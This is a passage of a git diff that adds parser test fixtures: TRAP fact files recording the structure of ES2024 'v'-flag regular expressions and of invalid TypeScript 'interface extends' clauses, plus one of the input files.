+#20094=*
+regexpterm(#20094,20,#20093,0,"\S")
+#20095=@"loc,{#10000},1,83,1,84"
+locations_default(#20095,#10000,1,83,1,84)
+hasLocation(#20094,#20095)
+char_class_escape(#20094,"S")
+#20096=*
+regexpterm(#20096,23,#20093,1,"[\p{P}<>]")
+#20097=@"loc,{#10000},1,87,1,95"
+locations_default(#20097,#10000,1,87,1,95)
+hasLocation(#20096,#20097)
+#20098=*
+regexpterm(#20098,27,#20096,0,"\p{P}")
+#20099=@"loc,{#10000},1,88,1,92"
+locations_default(#20099,#10000,1,88,1,92)
+hasLocation(#20098,#20099)
+unicode_property_escapename(#20098,"P")
+#20100=*
+regexpterm(#20100,14,#20096,1,"<")
+#20101=@"loc,{#10000},1,93,1,93"
+locations_default(#20101,#10000,1,93,1,93)
+hasLocation(#20100,#20101)
+regexp_const_value(#20100,"<")
+#20102=*
+regexpterm(#20102,14,#20096,2,">")
+#20103=@"loc,{#10000},1,94,1,94"
+locations_default(#20103,#10000,1,94,1,94)
+hasLocation(#20102,#20103)
+regexp_const_value(#20102,">")
+#20104=*
+regexpterm(#20104,1,#20023,1,"\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)")
+#20105=@"loc,{#10000},1,100,1,167"
+locations_default(#20105,#10000,1,100,1,167)
+hasLocation(#20104,#20105)
+#20106=*
+regexpterm(#20106,4,#20104,0,"\b")
+#20107=@"loc,{#10000},1,100,1,101"
+locations_default(#20107,#10000,1,100,1,101)
+hasLocation(#20106,#20107)
+#20108=*
+regexpterm(#20108,9,#20104,1,"[\S--[@\p{Ps}\p{Pe}<>]]+")
+#20109=@"loc,{#10000},1,102,1,125"
+locations_default(#20109,#10000,1,102,1,125)
+hasLocation(#20108,#20109)
+is_greedy(#20108)
+#20110=*
+regexpterm(#20110,23,#20108,0,"[\S--[@\p{Ps}\p{Pe}<>]]")
+#20111=@"loc,{#10000},1,102,1,124"
+locations_default(#20111,#10000,1,102,1,124)
+hasLocation(#20110,#20111)
+#20112=*
+regexpterm(#20112,30,#20110,0,"[\S--[@\p{Ps}\p{Pe}<>]]")
+hasLocation(#20112,#20111)
+#20113=*
+regexpterm(#20113,20,#20112,0,"\S")
+#20114=@"loc,{#10000},1,103,1,104"
+locations_default(#20114,#10000,1,103,1,104)
+hasLocation(#20113,#20114)
+char_class_escape(#20113,"S")
+#20115=*
+regexpterm(#20115,23,#20112,1,"[@\p{Ps}\p{Pe}<>]")
+#20116=@"loc,{#10000},1,107,1,123"
+locations_default(#20116,#10000,1,107,1,123)
+hasLocation(#20115,#20116)
+#20117=*
+regexpterm(#20117,14,#20115,0,"@")
+#20118=@"loc,{#10000},1,108,1,108"
+locations_default(#20118,#10000,1,108,1,108)
+hasLocation(#20117,#20118)
+regexp_const_value(#20117,"@")
+#20119=*
+regexpterm(#20119,27,#20115,1,"\p{Ps}")
+#20120=@"loc,{#10000},1,109,1,114"
+locations_default(#20120,#10000,1,109,1,114)
+hasLocation(#20119,#20120)
+unicode_property_escapename(#20119,"Ps")
+#20121=*
+regexpterm(#20121,27,#20115,2,"\p{Pe}")
+#20122=@"loc,{#10000},1,115,1,120"
+locations_default(#20122,#10000,1,115,1,120)
+hasLocation(#20121,#20122)
+unicode_property_escapename(#20121,"Pe")
+#20123=*
+regexpterm(#20123,14,#20115,3,"<")
+#20124=@"loc,{#10000},1,121,1,121"
+locations_default(#20124,#10000,1,121,1,121)
+hasLocation(#20123,#20124)
+regexp_const_value(#20123,"<")
+#20125=*
+regexpterm(#20125,14,#20115,4,">")
+#20126=@"loc,{#10000},1,122,1,122"
+locations_default(#20126,#10000,1,122,1,122)
+hasLocation(#20125,#20126)
+regexp_const_value(#20125,">")
+#20127=*
+regexpterm(#20127,14,#20104,2,"@")
+#20128=@"loc,{#10000},1,126,1,126"
+locations_default(#20128,#10000,1,126,1,126)
+hasLocation(#20127,#20128)
+regexp_const_value(#20127,"@")
+#20129=*
+regexpterm(#20129,13,#20104,3,"([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)")
+#20130=@"loc,{#10000},1,127,1,167"
+locations_default(#20130,#10000,1,127,1,167)
+hasLocation(#20129,#20130)
+is_capture(#20129,1)
+#20131=*
+regexpterm(#20131,1,#20129,0,"[\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+")
+#20132=@"loc,{#10000},1,128,1,166"
+locations_default(#20132,#10000,1,128,1,166)
+hasLocation(#20131,#20132)
+#20133=*
+regexpterm(#20133,9,#20131,0,"[\S--[\p{P}<>]]+")
+#20134=@"loc,{#10000},1,128,1,143"
+locations_default(#20134,#10000,1,128,1,143)
+hasLocation(#20133,#20134)
+is_greedy(#20133)
+#20135=*
+regexpterm(#20135,23,#20133,0,"[\S--[\p{P}<>]]")
+#20136=@"loc,{#10000},1,128,1,142"
+locations_default(#20136,#10000,1,128,1,142)
+hasLocation(#20135,#20136)
+#20137=*
+regexpterm(#20137,30,#20135,0,"[\S--[\p{P}<>]]")
+hasLocation(#20137,#20136)
+#20138=*
+regexpterm(#20138,20,#20137,0,"\S")
+#20139=@"loc,{#10000},1,129,1,130"
+locations_default(#20139,#10000,1,129,1,130)
+hasLocation(#20138,#20139)
+char_class_escape(#20138,"S")
+#20140=*
+regexpterm(#20140,23,#20137,1,"[\p{P}<>]")
+#20141=@"loc,{#10000},1,133,1,141"
+locations_default(#20141,#10000,1,133,1,141)
+hasLocation(#20140,#20141)
+#20142=*
+regexpterm(#20142,27,#20140,0,"\p{P}")
+#20143=@"loc,{#10000},1,134,1,138"
+locations_default(#20143,#10000,1,134,1,138)
+hasLocation(#20142,#20143)
+unicode_property_escapename(#20142,"P")
+#20144=*
+regexpterm(#20144,14,#20140,1,"<")
+#20145=@"loc,{#10000},1,139,1,139"
+locations_default(#20145,#10000,1,139,1,139)
+hasLocation(#20144,#20145)
+regexp_const_value(#20144,"<")
+#20146=*
+regexpterm(#20146,14,#20140,2,">")
+#20147=@"loc,{#10000},1,140,1,140"
+locations_default(#20147,#10000,1,140,1,140)
+hasLocation(#20146,#20147)
+regexp_const_value(#20146,">")
+#20148=*
+regexpterm(#20148,9,#20131,1,"(?:\.[\S--[\p{P}<>]]+)+")
+#20149=@"loc,{#10000},1,144,1,166"
+locations_default(#20149,#10000,1,144,1,166)
+hasLocation(#20148,#20149)
+is_greedy(#20148)
+#20150=*
+regexpterm(#20150,13,#20148,0,"(?:\.[\S--[\p{P}<>]]+)")
+#20151=@"loc,{#10000},1,144,1,165"
+locations_default(#20151,#10000,1,144,1,165)
+hasLocation(#20150,#20151)
+#20152=*
+regexpterm(#20152,1,#20150,0,"\.[\S--[\p{P}<>]]+")
+#20153=@"loc,{#10000},1,147,1,164"
+locations_default(#20153,#10000,1,147,1,164)
+hasLocation(#20152,#20153)
+#20154=*
+regexpterm(#20154,21,#20152,0,"\.")
+#20155=@"loc,{#10000},1,147,1,148"
+locations_default(#20155,#10000,1,147,1,148)
+hasLocation(#20154,#20155)
+regexp_const_value(#20154,".")
+#20156=*
+regexpterm(#20156,9,#20152,1,"[\S--[\p{P}<>]]+")
+#20157=@"loc,{#10000},1,149,1,164"
+locations_default(#20157,#10000,1,149,1,164)
+hasLocation(#20156,#20157)
+is_greedy(#20156)
+#20158=*
+regexpterm(#20158,23,#20156,0,"[\S--[\p{P}<>]]")
+#20159=@"loc,{#10000},1,149,1,163"
+locations_default(#20159,#10000,1,149,1,163)
+hasLocation(#20158,#20159)
+#20160=*
+regexpterm(#20160,30,#20158,0,"[\S--[\p{P}<>]]")
+hasLocation(#20160,#20159)
+#20161=*
+regexpterm(#20161,20,#20160,0,"\S")
+#20162=@"loc,{#10000},1,150,1,151"
+locations_default(#20162,#10000,1,150,1,151)
+hasLocation(#20161,#20162)
+char_class_escape(#20161,"S")
+#20163=*
+regexpterm(#20163,23,#20160,1,"[\p{P}<>]")
+#20164=@"loc,{#10000},1,154,1,162"
+locations_default(#20164,#10000,1,154,1,162)
+hasLocation(#20163,#20164)
+#20165=*
+regexpterm(#20165,27,#20163,0,"\p{P}")
+#20166=@"loc,{#10000},1,155,1,159"
+locations_default(#20166,#10000,1,155,1,159)
+hasLocation(#20165,#20166)
+unicode_property_escapename(#20165,"P")
+#20167=*
+regexpterm(#20167,14,#20163,1,"<")
+#20168=@"loc,{#10000},1,160,1,160"
+locations_default(#20168,#10000,1,160,1,160)
+hasLocation(#20167,#20168)
+regexp_const_value(#20167,"<")
+#20169=*
+regexpterm(#20169,14,#20163,2,">")
+#20170=@"loc,{#10000},1,161,1,161"
+locations_default(#20170,#10000,1,161,1,161)
+hasLocation(#20169,#20170)
+regexp_const_value(#20169,">")
+#20171=*
+entry_cfg_node(#20171,#20001)
+#20172=@"loc,{#10000},1,1,1,0"
+locations_default(#20172,#10000,1,1,1,0)
+hasLocation(#20171,#20172)
+#20173=*
+exit_cfg_node(#20173,#20001)
+hasLocation(#20173,#20015)
+successor(#20018,#20021)
+successor(#20022,#20019)
+successor(#20021,#20022)
+successor(#20019,#20173)
+successor(#20171,#20018)
+numlines(#10000,1,1,0)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/output/trap/union.js.trap b/javascript/extractor/tests/es2024/output/trap/union.js.trap
new file mode 100644
index 000000000000..31d98f755e85
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/union.js.trap
@@ -0,0 +1,392 @@
+#10000=@"/union.js;sourcefile"
+files(#10000,"/union.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+lines(#20002,#20001,"/[\p{Script_Extensions=Greek}\p{RGI_Emoji}]/v;","
+")
+#20003=@"loc,{#10000},1,1,1,46"
+locations_default(#20003,#10000,1,1,1,46)
+hasLocation(#20002,#20003)
+#20004=*
+lines(#20004,#20001,"/[[abc][cbd]]/v;","
+")
+#20005=@"loc,{#10000},2,1,2,16"
+locations_default(#20005,#10000,2,1,2,16)
+hasLocation(#20004,#20005)
+#20006=*
+lines(#20006,#20001,"/[\p{Emoji}\q{a&}byz]/v;","
+")
+#20007=@"loc,{#10000},3,1,3,24"
+locations_default(#20007,#10000,3,1,3,24)
+hasLocation(#20006,#20007)
+#20008=*
+lines(#20008,#20001,"/[\q{\\\}a&}byz]/v;","
+")
+#20009=@"loc,{#10000},4,1,4,19"
+locations_default(#20009,#10000,4,1,4,19)
+hasLocation(#20008,#20009)
+#20010=*
+lines(#20010,#20001,"/[\q{\\}]/v;","
+")
+#20011=@"loc,{#10000},5,1,5,12"
+locations_default(#20011,#10000,5,1,5,12)
+hasLocation(#20010,#20011)
+#20012=*
+lines(#20012,#20001,"/[\q{abc|cbd|\}}]/v;","
+")
+#20013=@"loc,{#10000},6,1,6,20"
+locations_default(#20013,#10000,6,1,6,20)
+hasLocation(#20012,#20013)
+numlines(#20001,6,6,0)
+#20014=*
+tokeninfo(#20014,5,#20001,0,"/[\p{Script_Extensions=Greek}\p{RGI_Emoji}]/v")
+#20015=@"loc,{#10000},1,1,1,45"
+locations_default(#20015,#10000,1,1,1,45)
+hasLocation(#20014,#20015)
+#20016=*
+tokeninfo(#20016,8,#20001,1,";")
+#20017=@"loc,{#10000},1,46,1,46"
+locations_default(#20017,#10000,1,46,1,46)
+hasLocation(#20016,#20017)
+#20018=*
+tokeninfo(#20018,5,#20001,2,"/[[abc][cbd]]/v")
+#20019=@"loc,{#10000},2,1,2,15"
+locations_default(#20019,#10000,2,1,2,15)
+hasLocation(#20018,#20019)
+#20020=*
+tokeninfo(#20020,8,#20001,3,";")
+#20021=@"loc,{#10000},2,16,2,16"
+locations_default(#20021,#10000,2,16,2,16)
+hasLocation(#20020,#20021)
+#20022=*
+tokeninfo(#20022,5,#20001,4,"/[\p{Emoji}\q{a&}byz]/v")
+#20023=@"loc,{#10000},3,1,3,23"
+locations_default(#20023,#10000,3,1,3,23)
+hasLocation(#20022,#20023)
+#20024=*
+tokeninfo(#20024,8,#20001,5,";")
+#20025=@"loc,{#10000},3,24,3,24"
+locations_default(#20025,#10000,3,24,3,24)
+hasLocation(#20024,#20025)
+#20026=*
+tokeninfo(#20026,5,#20001,6,"/[\q{\\\}a&}byz]/v")
+#20027=@"loc,{#10000},4,1,4,18"
+locations_default(#20027,#10000,4,1,4,18)
+hasLocation(#20026,#20027)
+#20028=*
+tokeninfo(#20028,8,#20001,7,";")
+#20029=@"loc,{#10000},4,19,4,19"
+locations_default(#20029,#10000,4,19,4,19)
+hasLocation(#20028,#20029)
+#20030=*
+tokeninfo(#20030,5,#20001,8,"/[\q{\\}]/v")
+#20031=@"loc,{#10000},5,1,5,11"
+locations_default(#20031,#10000,5,1,5,11)
+hasLocation(#20030,#20031)
+#20032=*
+tokeninfo(#20032,8,#20001,9,";")
+#20033=@"loc,{#10000},5,12,5,12"
+locations_default(#20033,#10000,5,12,5,12)
+hasLocation(#20032,#20033)
+#20034=*
+tokeninfo(#20034,5,#20001,10,"/[\q{abc|cbd|\}}]/v")
+#20035=@"loc,{#10000},6,1,6,19"
+locations_default(#20035,#10000,6,1,6,19)
+hasLocation(#20034,#20035)
+#20036=*
+tokeninfo(#20036,8,#20001,11,";")
+#20037=@"loc,{#10000},6,20,6,20"
+locations_default(#20037,#10000,6,20,6,20)
+hasLocation(#20036,#20037)
+#20038=*
+tokeninfo(#20038,0,#20001,12,"")
+#20039=@"loc,{#10000},7,1,7,0"
+locations_default(#20039,#10000,7,1,7,0)
+hasLocation(#20038,#20039)
+toplevels(#20001,0)
+#20040=@"loc,{#10000},1,1,7,0"
+locations_default(#20040,#10000,1,1,7,0)
+hasLocation(#20001,#20040)
+#20041=*
+stmts(#20041,2,#20001,0,"/[\p{Sc ... ji}]/v;")
+hasLocation(#20041,#20003)
+stmt_containers(#20041,#20001)
+#20042=*
+exprs(#20042,5,#20041,0,"/[\p{Sc ... oji}]/v")
+hasLocation(#20042,#20015)
+enclosing_stmt(#20042,#20041)
+expr_containers(#20042,#20001)
+literals("/[\p{Script_Extensions=Greek}\p{RGI_Emoji}]/v","/[\p{Script_Extensions=Greek}\p{RGI_Emoji}]/v",#20042)
+#20043=*
+regexpterm(#20043,23,#20042,0,"[\p{Script_Extensions=Greek}\p{RGI_Emoji}]")
+#20044=@"loc,{#10000},1,2,1,43"
+locations_default(#20044,#10000,1,2,1,43)
+hasLocation(#20043,#20044)
+#20045=*
+regexpterm(#20045,27,#20043,0,"\p{Script_Extensions=Greek}")
+#20046=@"loc,{#10000},1,3,1,29"
+locations_default(#20046,#10000,1,3,1,29)
+hasLocation(#20045,#20046)
+unicode_property_escapename(#20045,"Script_Extensions")
+unicode_property_escapevalue(#20045,"Greek")
+#20047=*
+regexpterm(#20047,27,#20043,1,"\p{RGI_Emoji}")
+#20048=@"loc,{#10000},1,30,1,42"
+locations_default(#20048,#10000,1,30,1,42)
+hasLocation(#20047,#20048)
+unicode_property_escapename(#20047,"RGI_Emoji")
+#20049=*
+stmts(#20049,2,#20001,1,"/[[abc][cbd]]/v;")
+hasLocation(#20049,#20005)
+stmt_containers(#20049,#20001)
+#20050=*
+exprs(#20050,5,#20049,0,"/[[abc][cbd]]/v")
+hasLocation(#20050,#20019)
+enclosing_stmt(#20050,#20049)
+expr_containers(#20050,#20001)
+literals("/[[abc][cbd]]/v","/[[abc][cbd]]/v",#20050)
+#20051=*
+regexpterm(#20051,23,#20050,0,"[[abc][cbd]]")
+#20052=@"loc,{#10000},2,2,2,13"
+locations_default(#20052,#10000,2,2,2,13)
+hasLocation(#20051,#20052)
+#20053=*
+regexpterm(#20053,23,#20051,0,"[abc]")
+#20054=@"loc,{#10000},2,3,2,7"
+locations_default(#20054,#10000,2,3,2,7)
+hasLocation(#20053,#20054)
+#20055=*
+regexpterm(#20055,14,#20053,0,"a")
+#20056=@"loc,{#10000},2,4,2,4"
+locations_default(#20056,#10000,2,4,2,4)
+hasLocation(#20055,#20056)
+regexp_const_value(#20055,"a")
+#20057=*
+regexpterm(#20057,14,#20053,1,"b")
+#20058=@"loc,{#10000},2,5,2,5"
+locations_default(#20058,#10000,2,5,2,5)
+hasLocation(#20057,#20058)
+regexp_const_value(#20057,"b")
+#20059=*
+regexpterm(#20059,14,#20053,2,"c")
+#20060=@"loc,{#10000},2,6,2,6"
+locations_default(#20060,#10000,2,6,2,6)
+hasLocation(#20059,#20060)
+regexp_const_value(#20059,"c")
+#20061=*
+regexpterm(#20061,23,#20051,1,"[cbd]")
+#20062=@"loc,{#10000},2,8,2,12"
+locations_default(#20062,#10000,2,8,2,12)
+hasLocation(#20061,#20062)
+#20063=*
+regexpterm(#20063,14,#20061,0,"c")
+#20064=@"loc,{#10000},2,9,2,9"
+locations_default(#20064,#10000,2,9,2,9)
+hasLocation(#20063,#20064)
+regexp_const_value(#20063,"c")
+#20065=*
+regexpterm(#20065,14,#20061,1,"b")
+#20066=@"loc,{#10000},2,10,2,10"
+locations_default(#20066,#10000,2,10,2,10)
+hasLocation(#20065,#20066)
+regexp_const_value(#20065,"b")
+#20067=*
+regexpterm(#20067,14,#20061,2,"d")
+#20068=@"loc,{#10000},2,11,2,11"
+locations_default(#20068,#10000,2,11,2,11)
+hasLocation(#20067,#20068)
+regexp_const_value(#20067,"d")
+#20069=*
+stmts(#20069,2,#20001,2,"/[\p{Em ... byz]/v;")
+hasLocation(#20069,#20007)
+stmt_containers(#20069,#20001)
+#20070=*
+exprs(#20070,5,#20069,0,"/[\p{Em ... }byz]/v")
+hasLocation(#20070,#20023)
+enclosing_stmt(#20070,#20069)
+expr_containers(#20070,#20001)
+literals("/[\p{Emoji}\q{a&}byz]/v","/[\p{Emoji}\q{a&}byz]/v",#20070)
+#20071=*
+regexpterm(#20071,23,#20070,0,"[\p{Emoji}\q{a&}byz]")
+#20072=@"loc,{#10000},3,2,3,21"
+locations_default(#20072,#10000,3,2,3,21)
+hasLocation(#20071,#20072)
+#20073=*
+regexpterm(#20073,27,#20071,0,"\p{Emoji}")
+#20074=@"loc,{#10000},3,3,3,11"
+locations_default(#20074,#10000,3,3,3,11)
+hasLocation(#20073,#20074)
+unicode_property_escapename(#20073,"Emoji")
+#20075=*
+regexpterm(#20075,28,#20071,1,"\q{a&}")
+#20076=@"loc,{#10000},3,12,3,17"
+locations_default(#20076,#10000,3,12,3,17)
+hasLocation(#20075,#20076)
+#20077=*
+regexpterm(#20077,14,#20075,0,"a&")
+#20078=@"loc,{#10000},3,15,3,16"
+locations_default(#20078,#10000,3,15,3,16)
+hasLocation(#20077,#20078)
+regexp_const_value(#20077,"a&")
+#20079=*
+regexpterm(#20079,14,#20071,2,"b")
+#20080=@"loc,{#10000},3,18,3,18"
+locations_default(#20080,#10000,3,18,3,18)
+hasLocation(#20079,#20080)
+regexp_const_value(#20079,"b")
+#20081=*
+regexpterm(#20081,14,#20071,3,"y")
+#20082=@"loc,{#10000},3,19,3,19"
+locations_default(#20082,#10000,3,19,3,19)
+hasLocation(#20081,#20082)
+regexp_const_value(#20081,"y")
+#20083=*
+regexpterm(#20083,14,#20071,4,"z")
+#20084=@"loc,{#10000},3,20,3,20"
+locations_default(#20084,#10000,3,20,3,20)
+hasLocation(#20083,#20084)
+regexp_const_value(#20083,"z")
+#20085=*
+stmts(#20085,2,#20001,3,"/[\q{\\\}a&}byz]/v;")
+hasLocation(#20085,#20009)
+stmt_containers(#20085,#20001)
+#20086=*
+exprs(#20086,5,#20085,0,"/[\q{\\\}a&}byz]/v")
+hasLocation(#20086,#20027)
+enclosing_stmt(#20086,#20085)
+expr_containers(#20086,#20001)
+literals("/[\q{\\\}a&}byz]/v","/[\q{\\\}a&}byz]/v",#20086)
+#20087=*
+regexpterm(#20087,23,#20086,0,"[\q{\\\}a&}byz]")
+#20088=@"loc,{#10000},4,2,4,16"
+locations_default(#20088,#10000,4,2,4,16)
+hasLocation(#20087,#20088)
+#20089=*
+regexpterm(#20089,28,#20087,0,"\q{\\\}a&}")
+#20090=@"loc,{#10000},4,3,4,12"
+locations_default(#20090,#10000,4,3,4,12)
+hasLocation(#20089,#20090)
+#20091=*
+regexpterm(#20091,14,#20089,0,"\\\}a&")
+#20092=@"loc,{#10000},4,6,4,11"
+locations_default(#20092,#10000,4,6,4,11)
+hasLocation(#20091,#20092)
+regexp_const_value(#20091,"\\\}a&")
+#20093=*
+regexpterm(#20093,14,#20087,1,"b")
+#20094=@"loc,{#10000},4,13,4,13"
+locations_default(#20094,#10000,4,13,4,13)
+hasLocation(#20093,#20094)
+regexp_const_value(#20093,"b")
+#20095=*
+regexpterm(#20095,14,#20087,2,"y")
+#20096=@"loc,{#10000},4,14,4,14"
+locations_default(#20096,#10000,4,14,4,14)
+hasLocation(#20095,#20096)
+regexp_const_value(#20095,"y")
+#20097=*
+regexpterm(#20097,14,#20087,3,"z")
+#20098=@"loc,{#10000},4,15,4,15"
+locations_default(#20098,#10000,4,15,4,15)
+hasLocation(#20097,#20098)
+regexp_const_value(#20097,"z")
+#20099=*
+stmts(#20099,2,#20001,4,"/[\q{\\}]/v;")
+hasLocation(#20099,#20011)
+stmt_containers(#20099,#20001)
+#20100=*
+exprs(#20100,5,#20099,0,"/[\q{\\}]/v")
+hasLocation(#20100,#20031)
+enclosing_stmt(#20100,#20099)
+expr_containers(#20100,#20001)
+literals("/[\q{\\}]/v","/[\q{\\}]/v",#20100)
+#20101=*
+regexpterm(#20101,23,#20100,0,"[\q{\\}]")
+#20102=@"loc,{#10000},5,2,5,9"
+locations_default(#20102,#10000,5,2,5,9)
+hasLocation(#20101,#20102)
+#20103=*
+regexpterm(#20103,28,#20101,0,"\q{\\}")
+#20104=@"loc,{#10000},5,3,5,8"
+locations_default(#20104,#10000,5,3,5,8)
+hasLocation(#20103,#20104)
+#20105=*
+regexpterm(#20105,14,#20103,0,"\\")
+#20106=@"loc,{#10000},5,6,5,7"
+locations_default(#20106,#10000,5,6,5,7)
+hasLocation(#20105,#20106)
+regexp_const_value(#20105,"\\")
+#20107=*
+stmts(#20107,2,#20001,5,"/[\q{abc|cbd|\}}]/v;")
+hasLocation(#20107,#20013)
+stmt_containers(#20107,#20001)
+#20108=*
+exprs(#20108,5,#20107,0,"/[\q{abc|cbd|\}}]/v")
+hasLocation(#20108,#20035)
+enclosing_stmt(#20108,#20107)
+expr_containers(#20108,#20001)
+literals("/[\q{abc|cbd|\}}]/v","/[\q{abc|cbd|\}}]/v",#20108)
+#20109=*
+regexpterm(#20109,23,#20108,0,"[\q{abc|cbd|\}}]")
+#20110=@"loc,{#10000},6,2,6,17"
+locations_default(#20110,#10000,6,2,6,17)
+hasLocation(#20109,#20110)
+#20111=*
+regexpterm(#20111,28,#20109,0,"\q{abc|cbd|\}}")
+#20112=@"loc,{#10000},6,3,6,16"
+locations_default(#20112,#10000,6,3,6,16)
+hasLocation(#20111,#20112)
+#20113=*
+regexpterm(#20113,0,#20111,0,"abc|cbd|\}")
+#20114=@"loc,{#10000},6,6,6,15"
+locations_default(#20114,#10000,6,6,6,15)
+hasLocation(#20113,#20114)
+#20115=*
+regexpterm(#20115,14,#20113,0,"abc")
+#20116=@"loc,{#10000},6,6,6,8"
+locations_default(#20116,#10000,6,6,6,8)
+hasLocation(#20115,#20116)
+regexp_const_value(#20115,"abc")
+#20117=*
+regexpterm(#20117,14,#20113,1,"cbd")
+#20118=@"loc,{#10000},6,10,6,12"
+locations_default(#20118,#10000,6,10,6,12)
+hasLocation(#20117,#20118)
+regexp_const_value(#20117,"cbd")
+#20119=*
+regexpterm(#20119,14,#20113,2,"\}")
+#20120=@"loc,{#10000},6,14,6,15"
+locations_default(#20120,#10000,6,14,6,15)
+hasLocation(#20119,#20120)
+regexp_const_value(#20119,"\}")
+#20121=*
+entry_cfg_node(#20121,#20001)
+#20122=@"loc,{#10000},1,1,1,0"
+locations_default(#20122,#10000,1,1,1,0)
+hasLocation(#20121,#20122)
+#20123=*
+exit_cfg_node(#20123,#20001)
+hasLocation(#20123,#20039)
+successor(#20107,#20108)
+successor(#20108,#20123)
+successor(#20099,#20100)
+successor(#20100,#20107)
+successor(#20085,#20086)
+successor(#20086,#20099)
+successor(#20069,#20070)
+successor(#20070,#20085)
+successor(#20049,#20050)
+successor(#20050,#20069)
+successor(#20041,#20042)
+successor(#20042,#20049)
+successor(#20121,#20041)
+numlines(#10000,6,6,0)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/ts/input/invalidExtends.ts b/javascript/extractor/tests/ts/input/invalidExtends.ts
new file mode 100644
index 000000000000..d31eba1dae64
--- /dev/null
+++ b/javascript/extractor/tests/ts/input/invalidExtends.ts
@@ -0,0 +1,6 @@
+interface Invalid extends (foo.bar) {}
+interface Invalid extends (foo).bar {}
+interface Invalid extends foo[bar] {}
+interface Invalid extends foo?.bar {}
+interface Invalid extends foo!.bar {}
+interface Invalid extends foo() {}
diff --git a/javascript/extractor/tests/ts/output/trap/invalidExtends.ts.trap b/javascript/extractor/tests/ts/output/trap/invalidExtends.ts.trap
new file mode 100644
index 000000000000..ec1ddb444ef6
--- /dev/null
+++ b/javascript/extractor/tests/ts/output/trap/invalidExtends.ts.trap
@@ -0,0 +1,451 @@
+#10000=@"/invalidExtends.ts;sourcefile"
+files(#10000,"/invalidExtends.ts")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+lines(#20002,#20001,"interface Invalid extends (foo.bar) {}","
+")
+#20003=@"loc,{#10000},1,1,1,38"
+locations_default(#20003,#10000,1,1,1,38)
+hasLocation(#20002,#20003)
+#20004=*
+lines(#20004,#20001,"interface Invalid extends (foo).bar {}","
+")
+#20005=@"loc,{#10000},2,1,2,38"
+locations_default(#20005,#10000,2,1,2,38)
+hasLocation(#20004,#20005)
+#20006=*
+lines(#20006,#20001,"interface Invalid extends foo[bar] {}","
+")
+#20007=@"loc,{#10000},3,1,3,37"
+locations_default(#20007,#10000,3,1,3,37)
+hasLocation(#20006,#20007)
+#20008=*
+lines(#20008,#20001,"interface Invalid extends foo?.bar {}","
+")
+#20009=@"loc,{#10000},4,1,4,37"
+locations_default(#20009,#10000,4,1,4,37)
+hasLocation(#20008,#20009)
+#20010=*
+lines(#20010,#20001,"interface Invalid extends foo!.bar {}","
+")
+#20011=@"loc,{#10000},5,1,5,37"
+locations_default(#20011,#10000,5,1,5,37)
+hasLocation(#20010,#20011)
+#20012=*
+lines(#20012,#20001,"interface Invalid extends foo() {}","
+")
+#20013=@"loc,{#10000},6,1,6,34"
+locations_default(#20013,#10000,6,1,6,34)
+hasLocation(#20012,#20013)
+numlines(#20001,6,6,0)
+#20014=*
+tokeninfo(#20014,7,#20001,0,"interface")
+#20015=@"loc,{#10000},1,1,1,9"
+locations_default(#20015,#10000,1,1,1,9)
+hasLocation(#20014,#20015)
+#20016=*
+tokeninfo(#20016,6,#20001,1,"Invalid")
+#20017=@"loc,{#10000},1,11,1,17"
+locations_default(#20017,#10000,1,11,1,17)
+hasLocation(#20016,#20017)
+#20018=*
+tokeninfo(#20018,7,#20001,2,"extends")
+#20019=@"loc,{#10000},1,19,1,25"
+locations_default(#20019,#10000,1,19,1,25)
+hasLocation(#20018,#20019)
+#20020=*
+tokeninfo(#20020,8,#20001,3,"(")
+#20021=@"loc,{#10000},1,27,1,27"
+locations_default(#20021,#10000,1,27,1,27)
+hasLocation(#20020,#20021)
+#20022=*
+tokeninfo(#20022,6,#20001,4,"foo")
+#20023=@"loc,{#10000},1,28,1,30"
+locations_default(#20023,#10000,1,28,1,30)
+hasLocation(#20022,#20023)
+#20024=*
+tokeninfo(#20024,8,#20001,5,".")
+#20025=@"loc,{#10000},1,31,1,31"
+locations_default(#20025,#10000,1,31,1,31)
+hasLocation(#20024,#20025)
+#20026=*
+tokeninfo(#20026,6,#20001,6,"bar")
+#20027=@"loc,{#10000},1,32,1,34"
+locations_default(#20027,#10000,1,32,1,34)
+hasLocation(#20026,#20027)
+#20028=*
+tokeninfo(#20028,8,#20001,7,")")
+#20029=@"loc,{#10000},1,35,1,35"
+locations_default(#20029,#10000,1,35,1,35)
+hasLocation(#20028,#20029)
+#20030=*
+tokeninfo(#20030,8,#20001,8,"{")
+#20031=@"loc,{#10000},1,37,1,37"
+locations_default(#20031,#10000,1,37,1,37)
+hasLocation(#20030,#20031)
+#20032=*
+tokeninfo(#20032,8,#20001,9,"}")
+#20033=@"loc,{#10000},1,38,1,38"
+locations_default(#20033,#10000,1,38,1,38)
+hasLocation(#20032,#20033)
+#20034=*
+tokeninfo(#20034,7,#20001,10,"interface")
+#20035=@"loc,{#10000},2,1,2,9"
+locations_default(#20035,#10000,2,1,2,9)
+hasLocation(#20034,#20035)
+#20036=*
+tokeninfo(#20036,6,#20001,11,"Invalid")
+#20037=@"loc,{#10000},2,11,2,17"
+locations_default(#20037,#10000,2,11,2,17)
+hasLocation(#20036,#20037)
+#20038=*
+tokeninfo(#20038,7,#20001,12,"extends")
+#20039=@"loc,{#10000},2,19,2,25"
+locations_default(#20039,#10000,2,19,2,25)
+hasLocation(#20038,#20039)
+#20040=*
+tokeninfo(#20040,8,#20001,13,"(")
+#20041=@"loc,{#10000},2,27,2,27"
+locations_default(#20041,#10000,2,27,2,27)
+hasLocation(#20040,#20041)
+#20042=*
+tokeninfo(#20042,6,#20001,14,"foo")
